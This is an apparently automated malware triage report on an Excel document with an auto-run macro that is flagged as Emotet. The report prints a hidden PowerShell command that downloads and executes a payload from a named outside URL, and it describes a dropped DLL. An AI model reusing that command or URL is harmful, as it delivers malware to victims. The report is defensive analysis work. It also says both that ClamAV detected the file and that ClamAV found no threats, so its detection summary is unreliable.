Malware Insights
The file contains a Workbook_Open VBA macro that utilizes CreateObject to instantiate Wscript.Shell and RDS.DataSpace. The macro then reconstructs and executes a PowerShell command. This command is designed to download and execute a second-stage payload from a list of hardcoded URLs. The ClamAV detection name 'Doc.Downloader.EmotetExcel02226-9938630-0' strongly suggests the Emotet family. The reconstructed PowerShell command is: 'powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString(\'http://afieeti.com/b/MzAJFbjwVhV/\')"'. The macro also attempts to write a DLL to 'c:\programdata\rundll32.dll' and execute it.
Heuristics 8
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ClamAV: Doc.Downloader.EmotetExcel02226-9938630-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.EmotetExcel02226-9938630-0
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Reference to PowerShell high SC_STR_POWERSHELLReference to PowerShell
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Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
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Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
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CreateObject call high OLE_VBA_CREATEOBJCreateObject call
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VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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VBA macros detected medium OLE_VBA_MACROSDocument contains VBA macro code
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas2371f091b169c7918c945b8974b3f60437212f84d1a9d429701826689481f8d8 |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6376 bytes |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved macro source contains an auto-exec entry point and execution/download terms.
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